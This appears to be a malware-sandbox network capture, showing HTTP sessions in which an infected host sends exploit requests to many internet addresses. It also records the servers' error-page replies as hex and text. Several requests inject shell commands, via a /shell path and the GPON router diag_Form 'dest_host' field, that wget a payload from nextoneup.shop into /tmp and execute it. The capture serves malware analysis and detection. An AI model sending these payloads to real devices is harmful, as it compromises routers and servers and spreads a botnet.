Apr 14, 2024 04:01:46.171837091 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:46 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1748	192.168.2.23	56642	167.71.222.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:44.898241043 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:45.238270998 CEST	205	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:45 GMT Content-Type: text/html Content-Length: 343 Connection: keep-alive Vary: Accept-Encoding ETag: "62c684ce-157"
Apr 14, 2024 04:01:45.238320112 CEST	355	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 6f 75 64 77 61 79 73 2d 73 74 61 74 69 63 2d 63 6f 6e 74 65 6e 74 2e 73 33 2e 75 73 2d 65 61 73 Data Ascii: <!DOCTYPE html><html> <iframe src="https://cloudways-static-content.s3.us-east-1.amazonaws.com/error_page/maintenance-domain-mapping.html" frameborder="0" style="overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;p

Session ID	Source IP	Source Port	Destination IP	Destination Port
1749	192.168.2.23	44450	117.95.96.69	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.852250099 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1750	192.168.2.23	53482	148.217.131.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.852303982 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1751	192.168.2.23	43782	123.122.226.124	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:45.852336884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1752	192.168.2.23	45056	196.51.21.16	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.393208027 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.596359968 CEST	1289	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Sat, 13 Apr 2024 19:44:09 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3550 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png') no-
Apr 14, 2024 04:01:46.596406937 CEST	1289	IN	Data Raw: 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 Data Ascii: repeat left;}/* initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content ar
Apr 14, 2024 04:01:46.596483946 CEST	1228	IN	Data Raw: 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 65 72 Data Ascii: RL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">/shell?cd+/tmp;rm+-rf+;wget

Session ID	Source IP	Source Port	Destination IP	Destination Port
1753	192.168.2.23	41396	150.60.4.197	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.459209919 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.728997946 CEST	402	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:46 GMT Server: Apache Vary: Accept-Encoding Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1754	192.168.2.23	47332	164.115.20.18	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:46.546586990 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.902520895 CEST	1289	IN	HTTP/1.1 500 Internal Server Error Content-Length: 29057 Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 63 2e 6f 72 67 2f 54 52 2f 31 39 39 39 2f 52 45 43 2d 68 74 6d 6c 34 30 31 2d 31 39 39 39 31 32 32 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 62 72 20 2f 3e 3c 62 72 20 2f 3e 3c 68 74 6d 6c 3e 20 3c 68 65 61 64 3e 20 3c 74 69 74 6c 65 3e 20 3c 2f 74 69 74 6c 65 3e 20 3c 2f 68 65 61 64 3e 20 3c 62 6f 64 79 3e 20 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 20 3c 69 6d 67 20 73 72 63 3d 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 56 4d 41 41 41 43 57 43 41 59 41 41 41 42 6a 47 57 76 48 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 41 52 6e 51 55 31 42 41 41 43 78 6a 77 76 38 59 51 55 41 41 41 41 4a 63 45 68 5a 63 77 41 41 44 73 4d 41 41 41 37 44 41 63 64 76 71 47 51 41 41 46 45 53 53 55 52 42 56 48 68 65 37 5a 30 46 6d 46 78 46 31 6f 59 44 41 5a 61 46 2f 56 6d 46 33 57 56 5a 59 43 46 47 66 44 49 4a 43 66 45 51 4e 36 4a 49 58 43 66 75 4c 73 52 64 69 4c 73 54 49 2b 37 45 33 64 32 56 75 4c 75 37 63 66 35 36 54 2f 63 4e 77 36 52 6e 4d 74 4e 39 65 79 7a 33 34 7a 6e 50 6b 4f 36 2b 4a 61 64 4f 66 58 56 4f 56 64 32 71 4f 4f 4c 41 67 51 4d 48 44 6e 79 47 51 36 59 4f 48 44 68 77 59 41 4d 63 4d 6e 58 67 77 49 45 44 47 2b 43 51 71 51 4d 48 44 68 7a 59 41 49 64 4d 48 54 68 77 34 4d 41 47 4f 47 54 71 77 49 45 44 42 7a 62 41 49 56 4d 48 44 68 77 34 73 41 45 4f 6d 54 70 77 34 4d 43 42 44 58 44 49 31 49 45 44 42 77 35 73 67 45 4f 6d 44 68 77 34 63 47 41 44 48 44 4a 31 34 4d 43 42 41 78 76 67 6b 4b 6b 44 42 77 34 63 32 41 43 48 54 42 30 34 63 4f 44 41 42 6a 68 6b 36 73 43 42 41 77 63 32 77 43 46 54 42 77 34 63 4f 4c 41 42 44 70 6b 36 63 4f 44 41 67 51 31 77 79 4e 53 42 41 77 63 4f 62 49 42 44 70 67 34 63 4f 48 42 67 41 78 77 79 64 65 44 41 67 51 4d 62 34 4a 43 70 41 77 63 4f 48 4e 67 41 68 30 77 64 4f 48 44 67 77 41 59 34 5a 4f 72 41 67 51 4d 48 4e 73 41 68 55 77 63 4f 48 44 69 77 41 51 36 5a 4f 6e 44 67 77 49 45 4e 63 4d 6a 55 67 51 4d 48 44 6d 78 41 72 43 58 54 36 39 65 76 79 2f 48 6a 78 2b 58 41 67 51 4f 79 64 65 73 32 57 62 6c 79 6c 5a 47 56 6f 63 71 4b 46 53 74 6b 31 61 72 56 73 6e 2f 2f 66 76 6e 6c 6c 31 2f 6b 77 6f 55 4c 63 75 50 47 44 58 64 71 44 68 77 34 63 42 41 32 59 67 57 5a 50 6e 33 36 56 50 62 73 33 53 73 4c 46 69 79 51 55 61 4e 47 53 39 65 75 33 65 58 37 37 31 74 4c 7a 5a 71 31 70 47 72 56 61 6c 4b 36 64 46 6b 70 58 4c 68 6f 6d 46 4b 6f 55 42 45 70 55 71 53 59 42 41 56 56 6c 65 72 56 61 30 72 44 68 6f 32 6c 56 61 73 32 30 71 64 50 58 30 31 7a 35 73 78 5a 68 6e 52 58 79 59 6b 54 4a 39 79 35 4f 6e 44 77 47 33 37 39 39 56 63 35 63 2b 32 69 6e 4c 78 79 54 6b 35 64 50 61 39 79 2f 63 34 74 39 37 63 4f 50 43 47 6b 7a 76 68 37 35 76 70 46 39 37 63 78 44 7a 47 57 54 43 39 64 75 69 52 7a 35 38 36 54 62 74 32 36 53 38 31 61 74 61 56 59 73 61 38 6c 62 39 37 38 6b 69 56 4c 4e 76 6e 69 69 77 79 53 4c 6c 31 36 53 5a 4d 6d 72 55 72 61 74 46 38 38 2b 2f 2f 77 79 75 65 66 70 39 4d 30 53 49 73 30 63 2b 62 4d 4a 51 55 4c 46 70 49 53 4a 55 6f 5a 77 71 30 69 54 5a 6f 30 6c 64 47 6a 78 38 6a 32 37 64 76 6c 31 71 32 62 37 6c 4a 35 68 2b 30 6e 39 6b 76 56 30 65 30 6c 58 34 2f 71 6b 68 2f 70 47 63 6e 53 6f 35 6f 55 37 46 6c 54 71 6f 33 71 49 48 55 6d 2f 53 41 4e 70 76 53 52 43 57 76 6e 79 65 4b 39 47 32 58 2f 75 57 50 75 55 6a 6f 41 70 36 39 64 6b 4a 6c 62 6c 6b 6d 33 2b 57 4f 6b 36 6f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><br /><br /><html> <head> <title> </title> </head> <body> <div align="center"> <img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVMAAACWCAYAAABjGWvHAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAFESSURBVHhe7Z0FmFxF1oYDAZaF/VmF3WVZYCFGfDIJCfEQN6JIXCfuLsRdiLsTI+7E3d2VuLu7cf56T/cNw6RnMtN9eyz34znPkO6+JadOfXVOVd2qOOLAgQMHDnyGQ6YOHDhwYAMcMnXgwIEDG+CQqQMHDhzYAIdMHThw4MAGOGTqwIEDBzbAIVMHDhw4sAEOmTpw4MCBDXDI1IEDBw5sgEOmDhw4cGADHDJ14MCBAxvgkKkDBw4c2ACHTB04cODABjhk6sCBAwc2wCFTBw4cOLABDpk6cODAgQ1wyNSBAwcObIBDpg4cOHBgAxwydeDAgQMb4JCpAwcOHNgAh0wdOHDgwAY4ZOrAgQMHNsAhUwcOHDiwAQ6ZOnDgwIENcMjUgQMHDmxArCXT69evy/Hjx+XAgQOydes2WblylZGVocqKFStk1arVsn//fvnll1/kwoULcuPGDXdqDhw4cBA2YgWZPn36VPbs3SsLFiyQUaNGS9eu3eX771tLzZq1pGrValK6dFkpXLhomFKoUBEpUqSYBAVVlerVa0rDho2lVas20qdPX01z5sxZhnRXyYkTJ9y5OnDwG3799Vc5c+2inLxyTk5dPa9y/c4t97cOPCGkzvh75vpF97cxDzGWTC9duiRz586Tbt26S81ataVYsa8lb978kiVLNvniiwySLl16SZMmrUratF88+//wyuefp9M0SIs0c+bMJQULFpISJUoZwq0iTZo0ldGjx8j27dvl1q2b7lJ5h+0n9kvV0e0lX4/qkh/pGcnSo5oU7FlTqo3qIHUm/SANpvSRCWvnyeK9G2X/uWPuUjoAp69dkJlblkm3+WOk6o
Apr 14, 2024 04:01:46.902616978 CEST	1289	IN	Data Raw: 53 75 55 6d 68 77 45 36 50 44 47 70 4b 6e 57 31 56 4a 30 62 61 6b 4a 47 33 37 6e 53 51 7a 77 74 2f 41 39 6d 55 6b 62 33 64 30 57 30 4d 71 6a 6d 67 6a 72 57 63 4e 6b 57 47 72 5a 38 6f 57 30 39 36 47 52 31 34 61 51 4a 69 4c 39 32 32 55 49 53 75 6e Data Ascii: SuUmhwE6PDGpKnW1VJ0bakJG37nSQzwt/A9mUkb3d0W0MqjmgjrWcNkWGrZ8oW096GR14aQJiL922UISunS71JvaT04GaqE08649+edLbp2D65fjd6D04xhkyfPHksN2/eNOH4SmnWrLkhtzySOXNWJbvUqT+XwMA0+tciQggUMrQIMX36jOES6xmeD07CpG3lExAQqH8zZsws2bPnlNy58yrBDhgwULZt2y6XL1+WBw8eyK/mv
Apr 14, 2024 04:01:46.902635098 CEST	1289	IN	Data Raw: 4c 44 67 51 61 6c 6c 6a 6c 59 32 6f 67 63 65 4a 6b 5a 69 41 6f 4c 33 66 75 33 48 58 58 7a 44 4f 69 4a 35 6d 47 4a 71 35 4f 6f 55 61 74 34 5a 72 78 30 6b 77 34 39 6d 66 7a 33 61 64 4e 76 35 4c 79 77 37 36 58 55 63 75 6d 79 65 6d 72 46 39 79 31 69 Data Ascii: LDgQalljlY2ogceJkZiAoL3fu3HXXzDOiJ5mGJq5OoUat4Zrx0kw49mfz3adNv5Lyw76XUcumyemrF9y1i/7YfuKAdJs+VNKbNvh7zYy/DRqVIVB3R35OD3ZJMH1CEhVSyB8NyX7QKJ+UGNhUhi/8SQ5Gw3nrQ+ePy5CFEyVdjyB5r05WebWy8SJN2bEJrVdk6QwbNJHCG8aLfa9edsnWs7p0nTFMth3f7y5p5CHakem6deulXr
Apr 14, 2024 04:01:46.902650118 CEST	237	IN	Data Raw: 39 39 7a 7a 35 79 38 6f 71 56 4b 6c 69 5a 56 45 69 6a 68 6b 36 6c 6e 59 62 76 53 47 36 5a 78 66 39 71 30 6a 2b 38 34 64 64 57 76 41 50 37 68 36 2b 36 61 55 48 4e 6c 47 2f 73 39 34 6f 52 42 35 62 4a 74 43 73 55 4c 59 39 78 76 6b 6c 4d 62 54 2b 73 Data Ascii: 99zz5y8oqVKliZVEijhk6lnYbvSG6Zxf9q0j+84ddWvAP7h6+6aUHNlG/s94oRB5bJtCsULY9xvklMbT+sn1u/asXNeb0kv+USebph3d50YjKqoz49Wze6PKqHb6erBdiHQyXbd+veTMmVs330M4nojITnGRGq+Bfq5eMPl6Er5D+C17RH0tm0OmoQuESshVeHATuXz7ulsL9oJ0iwxraXSaSheZPJUjN
Apr 14, 2024 04:01:46.902666092 CEST	1289	IN	Data Raw: 6f 68 46 44 6d 39 58 2f 30 4a 4b 6a 6d 70 6a 36 75 33 39 53 57 64 58 6a 4d 36 61 54 2b 34 6a 62 2b 44 42 6d 54 52 6a 64 35 53 55 53 74 34 30 67 33 72 78 59 63 33 6c 6c 45 31 37 6f 69 4f 56 54 50 66 73 32 53 74 35 38 75 53 58 5a 4d 6c 53 2b 4a 56 Data Ascii: ohFDm9X/0JKjmpj6u39SWdXjM6aT+4jb+DBmTRjd5SUSt40g3rxYc3llE17oiOVTPfs2St58uSXZMlS+JVIIUMIkrlY3kLiRChOjqpapZruYfUkrtOlykjx4t9I3rwF9DleFEiY8LNni2MRKXNUkKl2LN4MKZ80/GI6jes1P+YRPafrD1FPsUpqaTKtvzx8/MitCXvA+/T1J3RXwkY85R/bhHbkXfb647tr/SOKhw8fSa+F4+RP
Apr 14, 2024 04:01:46.902683973 CEST	1289	IN	Data Raw: 30 75 72 78 71 43 39 70 53 58 48 61 49 64 6a 7a 32 4c 62 50 77 33 35 66 36 6a 79 65 73 74 49 2b 39 56 79 79 54 2f 72 4a 37 35 64 38 4a 6e 66 50 64 57 6b 50 48 41 6a 63 66 6f 65 73 5a 36 6a 39 31 7a 2b 72 36 4b 6c 73 38 51 34 37 2f 71 5a 74 66 58 Data Ascii: 0urxqC9pSXHaIdjz2LbPw35f6jyestI+9VyyT/rJ75d8JnfPdWkPHAjcfoesZ6j91z+r6Kls8Q47/qZtfXKJ88Df28z8fGky9n2laPFPTzlIiSpNY/MFw6e7OyIVSjXz08hX21fiZXyvVWlbTSZfZwuXXPO4fMr2RKmEx4nzZtOn1V1BMxRlQgUtJiUWnMmDFy/nz0OZ3o4sWL6h0PGTJMKlcO0sHju+9Kyu3bYe8BtJNM/bE6f
Apr 14, 2024 04:01:46.902700901 CEST	1289	IN	Data Raw: 7a 4d 51 4d 6c 54 75 6b 45 6b 72 64 33 54 5a 6d 2f 66 62 58 63 76 57 2f 2f 6e 50 7a 44 52 77 2f 6c 67 43 46 56 72 69 74 4a 32 4c 4b 49 65 6c 77 52 62 58 2f 64 45 56 48 75 4d 35 31 7a 48 72 74 32 72 6a 77 77 61 62 34 49 65 30 37 39 49 76 6d 37 56 Data Ascii: zMQMlTukEkrd3TZm/fbXcvW//nPzDRw/lgCFVritJ2LKIelwRbX/dEVHuM51zHrt2rjwwab4Ie079Ivm7VNHFP/tOzOIgljQSp8SHkqlzeZm2ZYlc8+EFgtCAE3XyynkZuGq6ZDT5aOgfwakdy4t/p242aWeI1K7TzPxCpqx4sxjDxnk7vFKmCVi5nzVrVpTf8+IPxDQyBfcfPtDJel0csCHkQkjnj9XTyqLd69y5hI1H2Nm47v
